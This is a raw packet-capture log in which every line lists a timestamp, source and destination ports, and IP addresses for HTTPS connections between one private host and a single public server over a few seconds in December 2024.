Dec 9, 2024 06:51:04.058161020 CET	49996	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.058186054 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.058355093 CET	49996	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.058367014 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.058393955 CET	49996	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.058525085 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.058556080 CET	443	49996	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.059048891 CET	49996	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.060589075 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.060638905 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.060735941 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.060877085 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.060889006 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.162899017 CET	443	49997	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.162967920 CET	443	49997	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.163064003 CET	49997	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.163311005 CET	49997	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.163341999 CET	443	49997	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.163358927 CET	49997	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.163366079 CET	443	49997	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.166071892 CET	50002	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.166111946 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:04.166194916 CET	50002	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.166331053 CET	50002	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:04.166342974 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.582561016 CET	443	49998	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.583170891 CET	443	49999	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.583439112 CET	49998	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.583465099 CET	443	49998	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.583899975 CET	49998	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.583905935 CET	443	49998	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.584134102 CET	49999	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.584160089 CET	443	49999	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.584506035 CET	49999	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.584511995 CET	443	49999	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.824548006 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.824691057 CET	443	50000	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.825217009 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.825246096 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.825705051 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.825719118 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.826031923 CET	50000	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.826057911 CET	443	50000	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.826455116 CET	50000	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.826464891 CET	443	50000	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.885615110 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.886255026 CET	50002	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.886281013 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:05.886744976 CET	50002	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:05.886749029 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.134902000 CET	443	49999	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.134991884 CET	443	49999	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.135047913 CET	49999	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.135282993 CET	49999	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.135308027 CET	443	49999	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.135332108 CET	49999	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.135339022 CET	443	49999	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.138495922 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.138540983 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.138607025 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.138742924 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.138760090 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.148739100 CET	443	49998	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.148817062 CET	443	49998	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.148883104 CET	49998	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.149024010 CET	49998	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.149041891 CET	443	49998	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.149053097 CET	49998	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.149058104 CET	443	49998	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.151326895 CET	50004	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.151365995 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.151429892 CET	50004	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.151563883 CET	50004	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.151572943 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.258579969 CET	443	50000	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.261673927 CET	443	50000	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.261729002 CET	50000	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.261780024 CET	50000	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.261780024 CET	50000	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.261807919 CET	443	50000	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.261817932 CET	443	50000	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.264323950 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.264377117 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.264453888 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.264610052 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.264621019 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.265383959 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.265408039 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.265453100 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.265484095 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.265520096 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.265628099 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.265634060 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.265650988 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.265806913 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.265837908 CET	443	50001	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.265875101 CET	50001	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.267570972 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.267604113 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.267661095 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.267798901 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.267810106 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.341382027 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.341415882 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.341470003 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.341474056 CET	50002	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.341531038 CET	50002	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.341775894 CET	50002	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.341787100 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.341799021 CET	50002	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.341804981 CET	443	50002	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.344784975 CET	50007	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.344825983 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:06.344896078 CET	50007	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.345096111 CET	50007	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:06.345105886 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.853838921 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.854542017 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:07.854581118 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.855058908 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:07.855072975 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.867688894 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.868156910 CET	50004	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:07.868201971 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.868622065 CET	50004	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:07.868628979 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.981731892 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.982263088 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:07.982296944 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.982800961 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:07.982810974 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.989306927 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.989756107 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:07.989784002 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:07.990216017 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:07.990230083 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.087809086 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.089546919 CET	50007	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.089574099 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.089977026 CET	50007	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.089982033 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.303097963 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.303132057 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.303302050 CET	50004	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.303342104 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.305402994 CET	50004	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.305414915 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.305428028 CET	50004	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.305634022 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.305680037 CET	443	50004	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.305740118 CET	50004	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.308120966 CET	50008	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.308183908 CET	443	50008	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.308255911 CET	50008	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.308392048 CET	50008	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.308407068 CET	443	50008	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.345406055 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.345437050 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.345454931 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.345551014 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.345585108 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.345635891 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.443810940 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.443841934 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.443914890 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.443967104 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.444015980 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.444686890 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.444695950 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.444735050 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.444875956 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.444909096 CET	443	50006	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.444955111 CET	50006	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.456057072 CET	50009	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.456099033 CET	443	50009	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.456253052 CET	50009	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.458843946 CET	50009	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.458861113 CET	443	50009	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.492073059 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.492161989 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.492172956 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.492219925 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.492440939 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.492463112 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.492482901 CET	50003	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.492491007 CET	443	50003	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.496411085 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.496438980 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.496455908 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.496536016 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.496613026 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.496689081 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.496856928 CET	50010	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.496922016 CET	443	50010	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.496983051 CET	50010	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.497514963 CET	50010	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.497530937 CET	443	50010	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.526602030 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.526628971 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.526709080 CET	50007	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.526752949 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.526976109 CET	50007	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.526994944 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.527003050 CET	50007	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.527153015 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.527184010 CET	443	50007	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.527329922 CET	50007	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.529989004 CET	50011	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.530035973 CET	443	50011	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.530103922 CET	50011	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.530289888 CET	50011	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.530303955 CET	443	50011	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.645968914 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.646025896 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.646066904 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.646353960 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.646455050 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.646476984 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.646492004 CET	50005	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.646497011 CET	443	50005	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.649821043 CET	50012	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.649864912 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:08.649952888 CET	50012	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.650099993 CET	50012	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:08.650110960 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.037745953 CET	443	50008	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.038465977 CET	50008	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.038485050 CET	443	50008	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.038861036 CET	50008	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.038872004 CET	443	50008	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.182270050 CET	443	50009	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.188807964 CET	50009	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.188827991 CET	443	50009	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.189395905 CET	50009	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.189404011 CET	443	50009	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.230112076 CET	443	50010	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.231666088 CET	50010	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.231695890 CET	443	50010	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.232090950 CET	50010	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.232099056 CET	443	50010	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.256062031 CET	443	50011	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.259455919 CET	50011	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.259479046 CET	443	50011	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.259965897 CET	50011	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.259972095 CET	443	50011	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.365081072 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.367803097 CET	50012	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.367830992 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.368165016 CET	50012	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.368171930 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.472019911 CET	443	50008	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.475052118 CET	443	50008	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.478425026 CET	50008	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.478465080 CET	50008	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.478483915 CET	443	50008	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.478504896 CET	50008	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.478511095 CET	443	50008	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.481158972 CET	50013	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.481198072 CET	443	50013	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.481380939 CET	50013	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.481534958 CET	50013	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.481550932 CET	443	50013	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.616229057 CET	443	50009	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.616297007 CET	443	50009	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.616375923 CET	50009	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.616739035 CET	50009	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.616753101 CET	443	50009	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.616763115 CET	50009	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.616770029 CET	443	50009	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.620507956 CET	50014	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.620558023 CET	443	50014	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.620642900 CET	50014	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.620992899 CET	50014	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.621006966 CET	443	50014	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.663666010 CET	443	50010	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.667073011 CET	443	50010	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.667304993 CET	50010	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.667363882 CET	50010	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.667390108 CET	443	50010	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.667407036 CET	50010	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.667412043 CET	443	50010	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.670137882 CET	50015	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.670183897 CET	443	50015	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.670262098 CET	50015	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.670448065 CET	50015	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.670465946 CET	443	50015	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.689982891 CET	443	50011	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.693092108 CET	443	50011	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.693156004 CET	50011	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.693191051 CET	50011	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.693203926 CET	443	50011	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.693217993 CET	50011	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.693222046 CET	443	50011	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.695962906 CET	50016	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.695998907 CET	443	50016	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.696085930 CET	50016	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.696269989 CET	50016	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.696279049 CET	443	50016	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.798362017 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.801951885 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.802007914 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.802037954 CET	50012	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.802083969 CET	50012	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.802149057 CET	50012	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.802172899 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:10.802186012 CET	50012	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:10.802191973 CET	443	50012	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.197200060 CET	443	50013	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.199668884 CET	50013	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.199691057 CET	443	50013	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.200180054 CET	50013	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.200185061 CET	443	50013	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.336508036 CET	443	50014	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.337363958 CET	50014	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.337409973 CET	443	50014	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.337850094 CET	50014	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.337855101 CET	443	50014	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.385647058 CET	443	50015	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.387950897 CET	50015	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.387968063 CET	443	50015	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.388432026 CET	50015	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.388437033 CET	443	50015	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.421377897 CET	443	50016	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.423640966 CET	50016	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.423675060 CET	443	50016	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.424108982 CET	50016	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.424113989 CET	443	50016	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.631356001 CET	443	50013	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.635121107 CET	443	50013	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.635189056 CET	50013	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.635447025 CET	50013	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.635463953 CET	443	50013	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.635478020 CET	50013	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.635483980 CET	443	50013	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.771267891 CET	443	50014	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.774353981 CET	443	50014	13.107.246.63	192.168.2.11
Dec 9, 2024 06:51:12.775219917 CET	50014	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.775316954 CET	50014	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.775316954 CET	50014	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:51:12.775341034 CET	443	50014	13.107.246.63	192.168.2.11
